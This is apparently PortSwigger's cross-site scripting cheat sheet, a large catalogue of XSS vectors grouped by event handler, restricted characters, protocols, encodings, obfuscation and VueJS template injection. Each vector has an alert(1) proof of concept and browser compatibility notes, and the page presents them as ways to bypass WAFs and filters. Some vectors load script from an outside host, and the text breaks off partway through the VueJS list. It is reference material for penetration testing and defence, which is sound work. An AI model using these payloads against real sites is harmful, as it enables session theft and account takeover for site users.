1. Web Security Academy
  2. Cross-site scripting
  3. Cheat sheet

Cross-site scripting (XSS) cheat sheet

This cross-site scripting (XSS) cheat sheet contains many vectors that can help you bypass WAFs and filters. You can select vectors by the event, tag or browser and a proof of concept is included for every vector.

You can download a PDF version of the XSS cheat sheet.

This cheat sheet was brought to by PortSwigger Research. Follow us on twitter to recieve updates.

This cheat sheet is regularly updated in 2020. Last updated: Mon, 23 Nov 2020 09:52:13 +0000.

Table of contents
Event handlers
    No user interaction
    User interaction required
Restricted characters
Frameworks
Protocols
Other useful attributes
Special tags
Encoding
Obfuscation
Client side template injection
    VueJS reflected
    AngularJS sandbox escapes reflected
    AngularJS sandbox escapes DOM
    AngularJS CSP bypasses
Scriptless attacks
Polyglots
WAF bypass global objects
Content types
Response content types
Impossible labs
Prototype pollution
Classic vectors (XSS crypt)

Event handlers

Event handlers that do not require user interaction

Event:

Description:

Tag:

Code:

Copy:

onactivate

Fires when the element is activated

<xss id=x tabindex=1 onactivate=alert(1)></xss>

Compatibility:

Does not work in ChromeDoes not work in FirefoxDoes work in EdgeDoes not work in Safari
onafterprint

Fires after the page is printed

<body onafterprint=alert(1)>

Compatibility:

Does work in ChromeDoes work in FirefoxDoes work in EdgeDoes not work in Safari
onafterscriptexecute

Fires after script is executed

<xss onafterscriptexecute=alert(1)><script>1</script>

Compatibility:

Does not work in ChromeDoes work in FirefoxDoes not work in EdgeDoes not work in Safari
onanimationcancel

Fires when a CSS animation cancels

<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><xss id=x style="position:absolute;" onanimationcancel="alert(1)"></xss>

Compatibility:

Does not work in ChromeDoes work in FirefoxDoes not work in EdgeDoes not work in Safari
onanimationend

Fires when a CSS animation ends

<style>@keyframes x{}</style><xss style="animation-name:x" onanimationend="alert(1)"></xss>

Compatibility:

Does work in ChromeDoes work in FirefoxDoes work in EdgeDoes work in Safari
onanimationiteration

Fires when a CSS animation repeats

<style>@keyframes slidein {}</style><xss style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></xss>

Compatibility:

Does work in ChromeDoes work in FirefoxDoes work in EdgeDoes work in Safari
onanimationstart

Fires when a CSS animation starts

<style>@keyframes x{}</style><xss style="animation-name:x" onanimationstart="alert(1)"></xss>

Compatibility:

Does work in ChromeDoes work in FirefoxDoes work in EdgeDoes work in Safari
onbeforeactivate

Fires before the element is activated

<xss id=x tabindex=1 onbeforeactivate=alert(1)></xss>

Compatibility:

Does not work in ChromeDoes not work in FirefoxDoes work in EdgeDoes not work in Safari
onbeforedeactivate

Fires before the element is deactivated

<xss id=x tabindex=1 onbeforedeactivate=alert(1)></xss><input autofocus>

Compatibility:

Does not work in ChromeDoes not work in FirefoxDoes work in EdgeDoes not work in Safari
onbeforeprint

Fires before the page is printed

<body onbeforeprint=alert(1)>

Compatibility:

Does work in ChromeDoes work in FirefoxDoes work in EdgeDoes not work in Safari
onbeforescriptexecute

Fires before script is executed

<xss onbeforescriptexecute=alert(1)><script>1</script>

Compatibility:

Does not work in ChromeDoes work in FirefoxDoes not work in EdgeDoes not work in Safari
onbeforeunload
onbegin

Fires when a svg animation begins

<svg><animate onbegin=alert(1) attributeName=x dur=1s>

Compatibility:

Does work in ChromeDoes work in FirefoxDoes not work in EdgeDoes work in Safari
onblur

Fires when an element loses focus

<a onblur=alert(1) tabindex=1 id=x></a><input autofocus>

Compatibility:

Does work in ChromeDoes not work in FirefoxDoes work in EdgeDoes work in Safari
onbounce

Fires when the marquee bounces

<marquee width=1 loop=1 onbounce=alert(1)>XSS</marquee>

Compatibility:

Does not work in ChromeDoes work in FirefoxDoes work in EdgeDoes not work in Safari
oncanplay

Fires if the resource can be played

<audio oncanplay=alert(1)><source src="validaudio.wav" type="audio/wav"></audio>

Compatibility:

Does work in ChromeDoes work in FirefoxDoes work in EdgeDoes work in Safari
oncanplaythrough

Fires when enough data has been loaded to play the resource all the way through

<video oncanplaythrough=alert(1)><source src="validvideo.mp4" type="video/mp4"></video>

Compatibility:

Does work in ChromeDoes work in FirefoxDoes work in EdgeDoes work in Safari
oncuechange
ondeactivate

Fires when the element is deactivated

<xss id=x tabindex=1 ondeactivate=alert(1)></xss><input id=y autofocus>

Compatibility:

Does not work in ChromeDoes not work in FirefoxDoes work in EdgeDoes not work in Safari
ondurationchange

Fires when duration changes

<audio controls ondurationchange=alert(1)><source src=validaudio.mp3 type=audio/mpeg></audio>

Compatibility:

Does work in ChromeDoes work in FirefoxDoes work in EdgeDoes work in Safari
onend

Fires when a svg animation ends

<svg><animate onend=alert(1) attributeName=x dur=1s>

Compatibility:

Does work in ChromeDoes work in FirefoxDoes not work in EdgeDoes work in Safari
onended

Fires when the resource is finished playing

<audio controls autoplay onended=alert(1)><source src="validaudio.wav" type="audio/wav"></audio>

Compatibility:

Does work in ChromeDoes work in FirefoxDoes work in EdgeDoes work in Safari
onerror

Fires when the resource fails to load or causes an error

<audio src/onerror=alert(1)>

Compatibility:

Does work in ChromeDoes work in FirefoxDoes work in EdgeDoes work in Safari
onfinish

Fires when the marquee finishes

<marquee width=1 loop=1 onfinish=alert(1)>XSS</marquee>

Compatibility:

Does not work in ChromeDoes work in FirefoxDoes work in EdgeDoes not work in Safari
onfocus

Fires when the element has focus

<a id=x tabindex=1 onfocus=alert(1)></a>

Compatibility:

Does work in ChromeDoes not work in FirefoxDoes work in EdgeDoes work in Safari
onfocusin

Fires when the element has focus

<a id=x tabindex=1 onfocusin=alert(1)></a>

Compatibility:

Does work in ChromeDoes not work in FirefoxDoes work in EdgeDoes work in Safari
onfocusout

Fires when an element loses focus

<a onfocusout=alert(1) tabindex=1 id=x></a><input autofocus>

Compatibility:

Does work in ChromeDoes not work in FirefoxDoes work in EdgeDoes work in Safari
onhashchange

Fires if the hash changes

<body onhashchange="alert(1)">

Compatibility:

Does work in ChromeDoes work in FirefoxDoes work in EdgeDoes work in Safari
onload

Fires when the element is loaded

<body onload=alert(1)>

Compatibility:

Does work in ChromeDoes work in FirefoxDoes work in EdgeDoes work in Safari
onloadeddata

Fires when the first frame is loaded

<audio onloadeddata=alert(1)><source src="validaudio.wav" type="audio/wav"></audio>

Compatibility:

Does work in ChromeDoes work in FirefoxDoes work in EdgeDoes work in Safari
onloadedmetadata

Fires when the meta data is loaded

<audio autoplay onloadedmetadata=alert(1)> <source src="validaudio.wav" type="audio/wav"></audio>

Compatibility:

Does work in ChromeDoes work in FirefoxDoes work in EdgeDoes work in Safari
onloadend

Fires when the element finishes loading

<image src=validimage.png onloadend=alert(1)>

Compatibility:

Does not work in ChromeDoes work in FirefoxDoes not work in EdgeDoes not work in Safari
onloadstart

Fires when the element begins to load

<image src=validimage.png onloadstart=alert(1)>

Compatibility:

Does not work in ChromeDoes work in FirefoxDoes not work in EdgeDoes not work in Safari
onmessage

Fires when message event is received from a postMessage call

<body onmessage=alert(1)>

Compatibility:

Does work in ChromeDoes work in FirefoxDoes work in EdgeDoes work in Safari
onpageshow

Fires when the page is shown

<body onpageshow=alert(1)>

Compatibility:

Does work in ChromeDoes work in FirefoxDoes work in EdgeDoes work in Safari
onplay

Fires when the resource is played

<audio autoplay onplay=alert(1)><source src="validaudio.wav" type="audio/wav"></audio>

Compatibility:

Does work in ChromeDoes work in FirefoxDoes work in EdgeDoes work in Safari
onplaying

Fires the resource is playing

<audio autoplay onplaying=alert(1)><source src="validaudio.wav" type="audio/wav"></audio>

Compatibility:

Does work in ChromeDoes work in FirefoxDoes work in EdgeDoes work in Safari
onpopstate

Fires when the history changes

<body onpopstate=alert(1)>

Compatibility:

Does work in ChromeDoes work in FirefoxDoes work in EdgeDoes work in Safari
onprogress

Fires when the video/audio begins downloading

<audio controls onprogress=alert(1)><source src=validaudio.mp3 type=audio/mpeg></audio>

Compatibility:

Does work in ChromeDoes work in FirefoxDoes work in EdgeDoes work in Safari
onreadystatechange

Fires when the ready state changes

<applet onreadystatechange=alert(1)></applet>

Compatibility:

Does not work in ChromeDoes not work in FirefoxDoes work in EdgeDoes not work in Safari
onrepeat

Fires when a svg animation repeats

<svg><animate onrepeat=alert(1) attributeName=x dur=1s repeatCount=2 />

Compatibility:

Does work in ChromeDoes work in FirefoxDoes not work in EdgeDoes work in Safari
onresize

Fires when the window is resized

<body onresize="alert(1)">

Compatibility:

Does work in ChromeDoes work in FirefoxDoes work in EdgeDoes work in Safari
onscroll

Fires when the page scrolls

<body onscroll=alert(1)><div style=height:1000px></div><div id=x></div>

Compatibility:

Does work in ChromeDoes work in FirefoxDoes work in EdgeDoes work in Safari
onstart

Fires when the marquee starts

<marquee onstart=alert(1)>XSS</marquee>

Compatibility:

Does not work in ChromeDoes work in FirefoxDoes work in EdgeDoes not work in Safari
ontimeupdate

Fires when the timeline is changed

<audio controls autoplay ontimeupdate=alert(1)><source src="validaudio.wav" type="audio/wav"></audio>

Compatibility:

Does work in ChromeDoes work in FirefoxDoes work in EdgeDoes work in Safari
ontoggle

Fires when the details tag is expanded

<details ontoggle=alert(1) open>test</details>

Compatibility:

Does work in ChromeDoes work in FirefoxDoes work in EdgeDoes work in Safari
ontransitioncancel

Fires when a CSS transition cancels

<style>:target {color: red;}</style><xss id=x style="transition:color 10s" ontransitioncancel=alert(1)></xss>

Compatibility:

Does not work in ChromeDoes work in FirefoxDoes not work in EdgeDoes not work in Safari
ontransitionend

Fires when a CSS transition ends

<style>:target {color:red;}</style><xss id=x style="transition:color 1s" ontransitionend=alert(1)></xss>

Compatibility:

Does work in ChromeDoes not work in FirefoxDoes not work in EdgeDoes not work in Safari
ontransitionrun

Fires when a CSS transition begins

<style>:target {transform: rotate(180deg);}</style><xss id=x style="transition:transform 2s" ontransitionrun=alert(1)></xss>

Compatibility:

Does not work in ChromeDoes work in FirefoxDoes not work in EdgeDoes not work in Safari
ontransitionstart

Fires when a CSS transition starts

<style>:target {color:red;}</style><xss id=x style="transition:color 1s" ontransitionstart=alert(1)></xss>

Compatibility:

Does not work in ChromeDoes not work in FirefoxDoes not work in EdgeDoes work in Safari
onunhandledrejection

Fires when a promise isn't handled

<body onunhandledrejection=alert(1)><script>fetch('//xyz')</script>

Compatibility:

Does not work in ChromeDoes work in FirefoxDoes not work in EdgeDoes not work in Safari
onunload
onwaiting

Fires when while waiting for the data

<video autoplay controls onwaiting=alert(1)><source src="validvideo.mp4" type=video/mp4></video>

Compatibility:

Does not work in ChromeDoes not work in FirefoxDoes work in EdgeDoes not work in Safari
onwebkitanimationend

Fires when a CSS animation ends

<style>@keyframes x{}</style><xss style="animation-name:x" onwebkitanimationend="alert(1)"></xss>

Compatibility:

Does work in ChromeDoes not work in FirefoxDoes work in EdgeDoes work in Safari
onwebkitanimationiteration

Fires when a CSS animation repeats

<style>@keyframes slidein {}</style><xss style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onwebkitanimationiteration="alert(1)"></xss>

Compatibility:

Does work in ChromeDoes work in FirefoxDoes work in EdgeDoes work in Safari
onwebkitanimationstart

Fires when a CSS animation starts

<style>@keyframes x{}</style><xss style="animation-name:x" onwebkitanimationstart="alert(1)"></xss>

Compatibility:

Does work in ChromeDoes not work in FirefoxDoes work in EdgeDoes work in Safari
onwebkittransitionend

Fires when a CSS transition ends

<style>:target {color:red;}</style><xss id=x style="transition:color 1s" onwebkittransitionend=alert(1)></xss>

Compatibility:

Does work in ChromeDoes not work in FirefoxDoes not work in EdgeDoes not work in Safari

Event handlers that do require user interaction

Event:

Description:

Tag:

Code:

Copy:

onauxclick

Fires when right clicking or using the middle button of the mouse

<input onauxclick=alert(1)>

Compatibility:

Does work in ChromeDoes work in FirefoxDoes not work in EdgeDoes not work in Safari
onbeforecopy

Requires you copy a piece of text

<a onbeforecopy="alert(1)" contenteditable>test</a>

Compatibility:

Does work in ChromeDoes work in FirefoxDoes work in EdgeDoes work in Safari
onbeforecut

Requires you cut a piece of text

<a onbeforecut="alert(1)" contenteditable>test</a>

Compatibility:

Does work in ChromeDoes work in FirefoxDoes work in EdgeDoes work in Safari
onbeforepaste

Requires you paste a piece of text

<a onbeforepaste="alert(1)" contenteditable>test</a>

Compatibility:

Does not work in ChromeDoes not work in FirefoxDoes work in EdgeDoes not work in Safari
onchange

Requires as change of value

<input onchange=alert(1) value=xss>

Compatibility:

Does work in ChromeDoes work in FirefoxDoes work in EdgeDoes work in Safari
onclick

Requires a click of the element

<xss onclick="alert(1)">test</xss>

Compatibility:

Does work in ChromeDoes work in FirefoxDoes work in EdgeDoes work in Safari
onclose

Fires when a dialog is closed

<dialog open onclose=alert(1)><form method=dialog><button>XSS</button></form>

Compatibility:

Does work in ChromeDoes work in FirefoxDoes work in EdgeDoes work in Safari
oncontextmenu

Triggered when right clicking to show the context menu

<xss oncontextmenu="alert(1)">test</xss>

Compatibility:

Does work in ChromeDoes work in FirefoxDoes work in EdgeDoes work in Safari
oncopy

Requires you copy a piece of text

<xss oncopy=alert(1) value="XSS" autofocus tabindex=1>test

Compatibility:

Does work in ChromeDoes work in FirefoxDoes work in EdgeDoes work in Safari
oncut

Requires you cut a piece of text

<xss oncut=alert(1) value="XSS" autofocus tabindex=1>test

Compatibility:

Does work in ChromeDoes work in FirefoxDoes work in EdgeDoes work in Safari
ondblclick

Triggered when double clicking the element

<xss ondblclick="alert(1)" autofocus tabindex=1>test</xss>

Compatibility:

Does work in ChromeDoes work in FirefoxDoes work in EdgeDoes work in Safari
ondrag

Triggered dragging the element

<xss draggable="true" ondrag="alert(1)">test</xss>

Compatibility:

Does work in ChromeDoes work in FirefoxDoes work in EdgeDoes work in Safari
ondragend

Triggered dragging is finished on the element

<xss draggable="true" ondragend="alert(1)">test</xss>

Compatibility:

Does work in ChromeDoes work in FirefoxDoes work in EdgeDoes work in Safari
ondragenter

Requires a mouse drag

<xss draggable="true" ondragenter="alert(1)">test</xss>

Compatibility:

Does work in ChromeDoes work in FirefoxDoes work in EdgeDoes work in Safari
ondragleave

Requires a mouse drag

<xss draggable="true" ondragleave="alert(1)">test</xss>

Compatibility:

Does work in ChromeDoes work in FirefoxDoes work in EdgeDoes work in Safari
ondragover

Triggered dragging over an element

<div draggable="true" contenteditable>drag me</div><xss ondragover=alert(1) contenteditable>drop here</xss>

Compatibility:

Does work in ChromeDoes work in FirefoxDoes work in EdgeDoes work in Safari
ondragstart

Requires a mouse drag

<xss draggable="true" ondragstart="alert(1)">test</xss>

Compatibility:

Does work in ChromeDoes work in FirefoxDoes work in EdgeDoes work in Safari
ondrop

Triggered dropping a draggable element

<div draggable="true" contenteditable>drag me</div><xss ondrop=alert(1) contenteditable>drop here</xss>

Compatibility:

Does work in ChromeDoes work in FirefoxDoes work in EdgeDoes work in Safari
onfullscreenchange

Fires when a video changes full screen status

<video onfullscreenchange=alert(1) src=validvideo.mp4 controls>

Compatibility:

Does not work in ChromeDoes work in FirefoxDoes not work in EdgeDoes not work in Safari
oninput

Requires as change of value

<input oninput=alert(1) value=xss>

Compatibility:

Does work in ChromeDoes work in FirefoxDoes work in EdgeDoes work in Safari
oninvalid

Requires a form submission with an element that does not satisfy its constraints such as a required attribute.

<form><input oninvalid=alert(1) required><input type=submit>

Compatibility:

Does work in ChromeDoes work in FirefoxDoes work in EdgeDoes work in Safari
onkeydown

Triggered when a key is pressed

<xss onkeydown="alert(1)" contenteditable>test</xss>

Compatibility:

Does work in ChromeDoes work in FirefoxDoes work in EdgeDoes work in Safari
onkeypress

Triggered when a key is pressed

<xss onkeypress="alert(1)" contenteditable>test</xss>

Compatibility:

Does work in ChromeDoes work in FirefoxDoes work in EdgeDoes work in Safari
onkeyup

Triggered when a key is released

<xss onkeyup="alert(1)" contenteditable>test</xss>

Compatibility:

Does work in ChromeDoes work in FirefoxDoes work in EdgeDoes work in Safari
onmousedown

Triggered when the mouse is pressed

<xss onmousedown="alert(1)">test</xss>

Compatibility:

Does work in ChromeDoes work in FirefoxDoes work in EdgeDoes work in Safari
onmouseenter

Triggered when the mouse is hovered over the element

<xss onmouseenter="alert(1)">test</xss>

Compatibility:

Does work in ChromeDoes work in FirefoxDoes work in EdgeDoes work in Safari
onmouseleave

Triggered when the mouse is moved away from the element

<xss onmouseleave="alert(1)">test</xss>

Compatibility:

Does work in ChromeDoes work in FirefoxDoes work in EdgeDoes work in Safari
onmousemove

Requires mouse movement

<xss onmousemove="alert(1)">test</xss>

Compatibility:

Does work in ChromeDoes work in FirefoxDoes work in EdgeDoes work in Safari
onmouseout

Triggered when the mouse is moved away from the element

<xss onmouseout="alert(1)">test</xss>

Compatibility:

Does work in ChromeDoes work in FirefoxDoes work in EdgeDoes work in Safari
onmouseover

Requires a hover over the element

<xss onmouseover="alert(1)">test</xss>

Compatibility:

Does work in ChromeDoes work in FirefoxDoes work in EdgeDoes work in Safari
onmouseup

Triggered when the mouse button is released

<xss onmouseup="alert(1)">test</xss>

Compatibility:

Does work in ChromeDoes work in FirefoxDoes work in EdgeDoes work in Safari
onmousewheel

Fires when the mousewheel scrolls

<xss onmousewheel=alert(1)>requires scrolling

Compatibility:

Does work in ChromeDoes not work in FirefoxDoes work in EdgeDoes not work in Safari
onmozfullscreenchange

Fires when a video changes full screen status

<video onmozfullscreenchange=alert(1) src=validvideo.mp4 controls>

Compatibility:

Does not work in ChromeDoes work in FirefoxDoes not work in EdgeDoes not work in Safari
onpagehide
onpaste

Requires you paste a piece of text

<a onpaste="alert(1)" contenteditable>test</a>

Compatibility:

Does work in ChromeDoes work in FirefoxDoes work in EdgeDoes work in Safari
onpause

Requires clicking the element to pause

<audio autoplay controls onpause=alert(1)><source src="validaudio.wav" type="audio/wav"></audio>

Compatibility:

Does work in ChromeDoes work in FirefoxDoes work in EdgeDoes work in Safari
onpointerdown

Fires when the mouse down

<xss onpointerdown=alert(1)>XSS</xss>

Compatibility:

Does work in ChromeDoes work in FirefoxDoes work in EdgeDoes work in Safari
onpointerenter

Fires when the mouseenter

<xss onpointerenter=alert(1)>XSS</xss>

Compatibility:

Does work in ChromeDoes work in FirefoxDoes work in EdgeDoes work in Safari
onpointerleave

Fires when the mouseleave

<xss onpointerleave=alert(1)>XSS</xss>

Compatibility:

Does work in ChromeDoes work in FirefoxDoes work in EdgeDoes work in Safari
onpointermove

Fires when the mouse move

<xss onpointermove=alert(1)>XSS</xss>

Compatibility:

Does work in ChromeDoes work in FirefoxDoes work in EdgeDoes work in Safari
onpointerout

Fires when the mouse out

<xss onpointerout=alert(1)>XSS</xss>

Compatibility:

Does work in ChromeDoes work in FirefoxDoes work in EdgeDoes work in Safari
onpointerover

Fires when the mouseover

<xss onpointerover=alert(1)>XSS</xss>

Compatibility:

Does work in ChromeDoes work in FirefoxDoes work in EdgeDoes work in Safari
onpointerrawupdate

Fires when the pointer changes

<xss onpointerrawupdate=alert(1)>XSS</xss>

Compatibility:

Does work in ChromeDoes not work in FirefoxDoes not work in EdgeDoes not work in Safari
onpointerup

Fires when the mouse up

<xss onpointerup=alert(1)>XSS</xss>

Compatibility:

Does work in ChromeDoes work in FirefoxDoes work in EdgeDoes work in Safari
onreset

Requires a click

<form onreset=alert(1)><input type=reset>

Compatibility:

Does work in ChromeDoes work in FirefoxDoes work in EdgeDoes work in Safari
onsearch

Fires when a form is submitted and the input has a type attribute of search

<form><input type=search onsearch=alert(1) value="Hit return" autofocus>

Compatibility:

Does work in ChromeDoes not work in FirefoxDoes not work in EdgeDoes not work in Safari
onseeked

Requires clicking the element timeline

<audio autoplay controls onseeked=alert(1)><source src="validaudio.wav" type="audio/wav"></audio>

Compatibility:

Does work in ChromeDoes work in FirefoxDoes work in EdgeDoes work in Safari
onseeking

Requires clicking the element timeline

<audio autoplay controls onseeking=alert(1)><source src="validaudio.wav" type="audio/wav"></audio>

Compatibility:

Does work in ChromeDoes work in FirefoxDoes work in EdgeDoes work in Safari
onselect

Requires you select text

<input onselect=alert(1) value="XSS" autofocus>

Compatibility:

Does work in ChromeDoes work in FirefoxDoes work in EdgeDoes work in Safari
onselectionchange

Fires when text selection is changed on the page

<body onselectionchange=alert(1)>select some text

Compatibility:

Does work in ChromeDoes not work in FirefoxDoes work in EdgeDoes work in Safari
onselectstart

Fires when beginning a text selection

<body onselectstart=alert(1)>select some text

Compatibility:

Does work in ChromeDoes not work in FirefoxDoes work in EdgeDoes work in Safari
onshow
onsubmit

Requires a form submission

<form onsubmit=alert(1)><input type=submit>

Compatibility:

Does work in ChromeDoes work in FirefoxDoes work in EdgeDoes work in Safari
ontouchend

Fires when the touch screen, only mobile device

<body ontouchend=alert(1)>

Compatibility:

Does work in ChromeDoes work in FirefoxDoes work in EdgeDoes work in Safari
ontouchmove

Fires when the touch screen and move, only mobile device

<body ontouchmove=alert(1)>

Compatibility:

Does work in ChromeDoes work in FirefoxDoes work in EdgeDoes work in Safari
ontouchstart

Fires when the touch screen, only mobile device

<body ontouchstart=alert(1)>

Compatibility:

Does work in ChromeDoes work in FirefoxDoes work in EdgeDoes work in Safari
onvolumechange
onwheel

Fires when you use the mouse wheel

<body onwheel=alert(1)>

Compatibility:

Does work in ChromeDoes work in FirefoxDoes work in EdgeDoes work in Safari

Restricted characters

No parentheses using exception handling

<script>onerror=alert;throw 1</script>

No parentheses using exception handling no semi colons

<script>{onerror=alert}throw 1</script>

No parentheses using exception handling no semi colons using expressions

<script>throw onerror=alert,1</script>

No parentheses using exception handling and eval

<script>throw onerror=eval,'=alert\x281\x29'</script>

No parentheses using ES6 hasInstance and instanceof with eval

<script>'alert\x281\x29'instanceof{[Symbol.hasInstance]:eval}</script>

No parentheses using ES6 hasInstance and instanceof with eval without .

<script>'alert\x281\x29'instanceof{[Symbol['hasInstance']]:eval}</script>

No parentheses using location redirect

<script>location='javascript:alert\x281\x29'</script>

No parentheses using location redirect no strings

<script>location=name</script>

No parentheses using template strings

<script>alert`1`</script>

No parentheses using template strings and location hash

<script>new Function`X${document.location.hash.substr`1`}`</script>

No parentheses or spaces, using template strings and location hash

<script>Function`X${document.location.hash.substr`1`}```</script>

Frameworks

Bootstrap onanimationstart event

<xss class=progress-bar-animated onanimationstart=alert(1)>

Protocols

Iframe src attribute JavaScript protocol

<iframe src="javascript:alert(1)">

Object data attribute with JavaScript protocol

<object data="javascript:alert(1)">

Embed src attribute with JavaScript protocol

<embed src="javascript:alert(1)">

A standard JavaScript protocol

<a href="javascript:alert(1)">XSS</a>

The protocol is not case sensitive

<a href="JaVaScript:alert(1)">XSS</a>

Characters \x01-\x20 are allowed before the protocol

<a href=" javascript:alert(1)">XSS</a>

Characters \x09,\x0a,\x0d are allowed inside the protocol

<a href="javas cript:alert(1)">XSS</a>

Characters \x09,\x0a,\x0d are allowed after protocol name before the colon

<a href="javascript :alert(1)">XSS</a>

Data protocol inside script src

<script src="data:text/javascript,alert(1)"></script>

SVG script href attribute without closing script tag

<svg><script href="data:text/javascript,alert(1)" />

SVG use element Chrome/Firefox

<svg><use href="data:image/svg+xml,<svg id='x' xmlns='http://www.w3.org/2000/svg' xmlns:xlink='http://www.w3.org/1999/xlink' width='100' height='100'><a xlink:href='javascript:alert(1)'><rect x='0' y='0' width='100' height='100' /></a></svg>#x"></use></svg>

Import statement with data URL

<script>import('data:text/javascript,alert(1)')</script>

Base tag with JavaScript protocol rewriting relative URLS

<base href="javascript:/a/-alert(1)///////"><a href=../lol/safari.html>test</a>

MathML makes any tag clickable

<math><x href="javascript:alert(1)">blah

Other useful attributes

Click a submit element from anywhere on the page, even outside the form

<form action="javascript:alert(1)"><input type=submit id=x></form><label for=x>XSS</label>

Hidden inputs: Access key attributes can enable XSS on normally unexploitable elements

<input type="hidden" accesskey="X" onclick="alert(1)"> (Press ALT+SHIFT+X on Windows) (CTRL+ALT+X on OS X)

Link elements: Access key attributes can enable XSS on normally unexploitable elements

<link rel="canonical" accesskey="X" onclick="alert(1)" /> (Press ALT+SHIFT+X on Windows) (CTRL+ALT+X on OS X)

Download attribute can save a copy of the current webpage

<a href=# download="filename.html">Test</a>

Disable referrer using referrerpolicy

<img referrerpolicy="no-referrer" src="//portswigger-labs.net">

Set window.name via name attribute in a <iframe> tag

<iframe name="alert(1)" src="https://portswigger-labs.net/xss/xss.php?context=js_string_single&x=%27;eval(name)//"></iframe>

Set window.name via target attribute in a <base> tag

<base target="alert(1)"><a href="http://subdomain1.portswigger-labs.net/xss/xss.php?context=js_string_single&x=%27;eval(name)//">XSS via target in base tag</a>

Set window.name via target attribute in a <a> tag

<a target="alert(1)" href="http://subdomain1.portswigger-labs.net/xss/xss.php?context=js_string_single&x=%27;eval(name)//">XSS via target in a tag</a>

Set window.name via usemap attribute in a <img> tag

<img src="validimage.png" width="10" height="10" usemap="#xss"><map name="xss"><area shape="rect" coords="0,0,82,126" target="alert(1)" href="http://subdomain1.portswigger-labs.net/xss/xss.php?context=js_string_single&x=%27;eval(name)//"></map>

Set window.name via target attribute in a <form> tag

<form action="http://subdomain1.portswigger-labs.net/xss/xss.php" target="alert(1)"><input type=hidden name=x value="';eval(name)//"><input type=hidden name=context value=js_string_single><input type="submit" value="XSS via target in a form"></form>

Set window.name via formtarget attribute in a <input> tag type submit

<form><input type=hidden name=x value="';eval(name)//"><input type=hidden name=context value=js_string_single><input type="submit" formaction="http://subdomain1.portswigger-labs.net/xss/xss.php" formtarget="alert(1)" value="XSS via formtarget in input type submit"></form>

Set window.name via formtarget attribute in a <input> tag type image

<form><input type=hidden name=x value="';eval(name)//"><input type=hidden name=context value=js_string_single><input name=1 type="image" src="validimage.png" formaction="http://subdomain1.portswigger-labs.net/xss/xss.php" formtarget="alert(1)" value="XSS via formtarget in input type image"></form>

Special tags

UTF-7 BOM characters (Has to be at the start of the document) 1

+/v8 +ADw-script+AD4-alert(1)+ADw-/script+AD4-

UTF-7 BOM characters (Has to be at the start of the document) 2

+/v9 +ADw-script+AD4-alert(1)+ADw-/script+AD4-

UTF-7 BOM characters (Has to be at the start of the document) 3

+/v+ +ADw-script+AD4-alert(1)+ADw-/script+AD4-

UTF-7 BOM characters (Has to be at the start of the document) 4

+/v/ +ADw-script+AD4-alert(1)+ADw-/script+AD4-

Disable JavaScript via iframe sandbox

<iframe sandbox src="//portswigger-labs.net"></iframe>

Encoding

Unicode escapes

<script>\u0061lert(1)</script>

Unicode escapes ES6 style

<script>\u{61}lert(1)</script>

Unicode escapes ES6 style zero padded

<script>\u{0000000061}lert(1)</script>

Hex encoding JavaScript escapes

<script>eval('\x61lert(1)')</script>

Decimal encoding with padded zeros

<a href="&#0000106avascript:alert(1)">XSS</a>

Hex encoding entities

<a href="&#x6a;avascript:alert(1)">XSS</a>

Hex encoding with padded zeros

<a href="&#x0000006a;avascript:alert(1)">XSS</a>

Hex encoding is not case sensitive

<a href="&#X6A;avascript:alert(1)">XSS</a>

HTML entities and URL encoding

<a href="javascript:x='&percnt;27-alert(1)-%27';">XSS</a>

Obfuscation

Data protocol inside script src with base64

<script src=data:text/javascript;base64,YWxlcnQoMSk=></script>

Data protocol inside script src with base64 and URL encoding

<script src=data:text/javascript;base64,%59%57%78%6c%63%6e%51%6f%4d%53%6b%3d></script>

Client-side template injection

VueJS reflected

Version:

Author:

Length:

Vector:

Copy:

Version 2

Gareth Heyes (PortSwigger)

39

<x v-html=_c.constructor('alert(1)')()>

Version 2

Peter af Geijerstam (Swedish Shellcode Factory)

37

<x v-if=_c.constructor('alert(1)')()>

Version 2

Gareth Heyes (PortSwigger) & Lewis Ardern & PwnFunction (Independent consultant)

32

{{_c.constructor('alert(1)')()}}

Version 2

Gareth Heyes (PortSwigger) & Lewis Ardern & PwnFunction (Independent consultant)

32

{{_v.constructor('alert(1)')()}}

Version 2

Gareth Heyes (PortSwigger) & Lewis Ardern & PwnFunction (Independent consultant)

32

{{_s.constructor('alert(1)')()}}

Version 2

Gareth Heyes (PortSwigger) & Lewis Ardern & PwnFunction (Independent consultant)

39

<p v-show="_c.constructor`alert(1)`()">

Version 2

Gareth Heyes (PortSwigger) & Lewis Ardern & PwnFunction (Independent consultant)

52

<x v-on:click='_b.constructor`alert(1)`()'>click</x>

Version 2

Gareth Heyes (PortSwigger) & Lewis Ardern & PwnFunction (Independent consultant)

41

<x v-bind:a='_b.constructor`alert(1)`()'>

Version 2

Gareth Heyes (PortSwigger) & Lewis Ardern & PwnFunction (Independent consultant)

33

<x @[_b.constructor`alert(1)`()]>

Version 2

Gareth Heyes (PortSwigger) & Lewis Ardern & PwnFunction (Independent consultant)

33

<x :[_b.constructor`alert(1)`()]>

Version 2

Gareth Heyes (PortSwigger) & Lewis Ardern & PwnFunction (Independent consultant)

33

<p v-=_c.constructor`alert(1)`()>

Version 2

Gareth Heyes (PortSwigger) & Lewis Ardern & PwnFunction (Independent consultant)

33

<x #[_c.constructor`alert(1)`()]>

Version 2

Gareth Heyes (PortSwigger) & Lewis Ardern & PwnFunction (Independent consultant)

32

<p :=_c.constructor`alert(1)`()>

Version 2

Gareth Heyes (PortSwigger) & Lewis Ardern & PwnFunction (Independent consultant)

32

{{_c.constructor('alert(1)')()}}

Version 2

Gareth Heyes (PortSwigger) & Lewis Ardern & PwnFunction (Independent consultant)

30

{{_b.constructor`alert(1)`()}}

Version 2

Gareth Heyes (PortSwigger) & Lewis Ardern & PwnFunction (Independent consultant)

40

<x v-bind:is="'script'" src="//14.rs" />

Version 2

Gareth Heyes (PortSwigger) & Lewis Ardern & PwnFunction (Independent consultant)

27

<x is=script src=//⑭.₨>

Version 2

Gareth Heyes (PortSwigger) & Lewis Ardern & PwnFunction (Independent consultant)

48

<x @click='_b.constructor`alert(1)`()'>click</x>

Version 2

Gareth Heyes (PortSwigger) & Lewis Ardern & PwnFunction (Independent consultant)

33

<x @[_b.constructor`alert(1)`()]>

Version 2

Gareth Heyes (PortSwigger) & Lewis Ardern & PwnFunction (Independent consultant)

33

